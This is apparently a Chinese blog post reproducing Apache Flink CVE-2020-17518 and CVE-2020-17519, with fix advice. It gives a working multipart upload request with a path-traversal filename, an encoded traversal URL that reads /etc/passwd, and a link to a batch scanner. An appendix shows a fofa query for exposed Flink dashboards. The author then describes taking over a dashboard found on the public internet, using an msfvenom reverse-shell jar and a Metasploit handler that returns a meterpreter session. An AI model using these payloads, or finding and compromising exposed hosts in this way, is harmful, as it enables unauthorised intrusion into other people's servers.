CVE-2020-17518/17519:Apache Flink 任意文件上传、目录遍历漏洞


[toc]

漏洞简述

Apache Flink 是高效和分布式的通用数据处理平台,用于在无界和有界数据流上进行有状态的计算。Flink被设计为在所有常见的集群环境中运行,以内存中的速度和任何规模执行计算。

2021年01月06日,360CERT监测发现Apache Flink发布了Apache Flink 目录穿越漏洞,目录穿越漏洞的风险通告,漏洞编号为CVE-2020-17518、CVE-2020-17519,漏洞等级:高危,漏洞评分:8.5。

远程攻击者通过REST API目录遍历,可造成文件读取/写入的影响。

对此,建议广大用户及时将Apache Flink升级到最新版本。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

漏洞详情

Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。在Apache Flink 1.5.1版本中引入了REST API。

CVE-2020-17518:任意文件写入漏洞

攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。

CVE-2020-17519:任意文件读取漏洞

Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的) 。

影响版本

  • CVE-2020-17518:
    Apache Flink 1.5.1-1.11.2
  • CVE-2020-17519:
    Apache Flink 1.11.0-1.11.2

漏洞验证

CVE-2020-17518:任意文件上传漏洞

环境搭建:

我们通过vulhub拉取镜像环境进行漏洞验证:https://github.com/vulhub/vulhub/tree/master/flink

cd vulhub/flink/CVE-2020-17518
docker-compose up -d

image-20210111154948641

环境启动成功后,访问目标机的8081端口,直接就未授权了,进入Apache Flink 控制面板:

image-20210111155213189

使用如下POC即可成功在目标主机/tmp目录下写入一个名为success的文件:

POST /jars/upload HTTP/1.1
Host: 47.xxx.xxx.72:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

Hacked By WHOAMI
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

image-20210111160004154

如下图所示,成功在目标主机/tmp目录下写入一个名为success的文件,里面的内容为“Hacked By WHOAMI”:

image-20210111160051621

CVE-2020-17519:任意文件读取漏洞

我们同样是通过vulhub拉取镜像环境进行漏洞验证:https://github.com/vulhub/vulhub/tree/master/flink

cd vulhub/flink/CVE-2020-15719
docker-compose up -d

image-20210111160556292

使用如下POC即可实现任意文件读取:

读取/etc/passwd

http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

image-20210111160835562

如上图所示,读取成功。

给出一个批量检测脚本:https://github.com/B1anda0/CVE-2020-17519

修复建议

将Flink升级到1.11.3或1.12.0 。

附录:未授权访问-远程代码命令执行

Apache Flink Dashboard默认没有用户权限认证。攻击者可以通过未授权的Flink Dashboard控制台,直接上传jar包类型的木马,可远程执行任意系统命令获取服务器权限,风险极大。

在fofa上用以下fofa语法搜索的Apache Flink大多数都可以直接进入Flink控制台:

app="Apache-Flink"

漏洞复现

首先,我们在公网上发现一个存在未授权访问Apache Flink Dashboard,打开即可直接进入:

然后我们在自己的vps上使用metasploit生成一个jar包类型的木马:

msfvenom -p java/meterpreter/reverse_tcp LHOST=47.xxx.xxx.72 LPORT=2333 -f jar > shell.jar

image-20210115195523457

并设置好监听:

use exploit/multi/handler
set payload java/shell/reverse_tcp
set lhost 47.xxx.xxx.72
set lport 2333
run

然后,点击Apache Flink Dashboard里面的Submit New Job,点击“Add New”上传我们当才生成的jar包木马,上传成功后点击Submit:

image-20210115195902919

点击后,我们的vps上的即可得到目标主机的meterpreter:

image-20210115200201680

修复意见

针对ApacheFlinkDashboard设置防火墙策略(禁止Dashboard对外访问,或者确保只对可信端点开放), 仅允许白名单IP进行访问,并在Web代理中增加对该服务的Digest认证,防止未授权访问。


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
 Previous
lanproxy 目录遍历漏洞复现(CVE-2021-3019) lanproxy 目录遍历漏洞复现(CVE-2021-3019)
此次该lanproxy爆出的漏洞可以让攻击者通过构造恶意请求,读取服务器上的任意文件,甚至可以可直接获取到lanproxy配置文件,从而登录lanproxy管理后台进入内网。
2021-01-10
Next 
2020 第一届BMZCTF公开赛-WEB-Writeup 2020 第一届BMZCTF公开赛-WEB-Writeup
[toc] ezeval(绕过str_ireplace进行任意代码执行)进入题目,给出源码: <?php highlight_file(__FILE__); $cmd=$_POST['cmd']; $cmd=htmlspecialch
2021-01-05
  TOC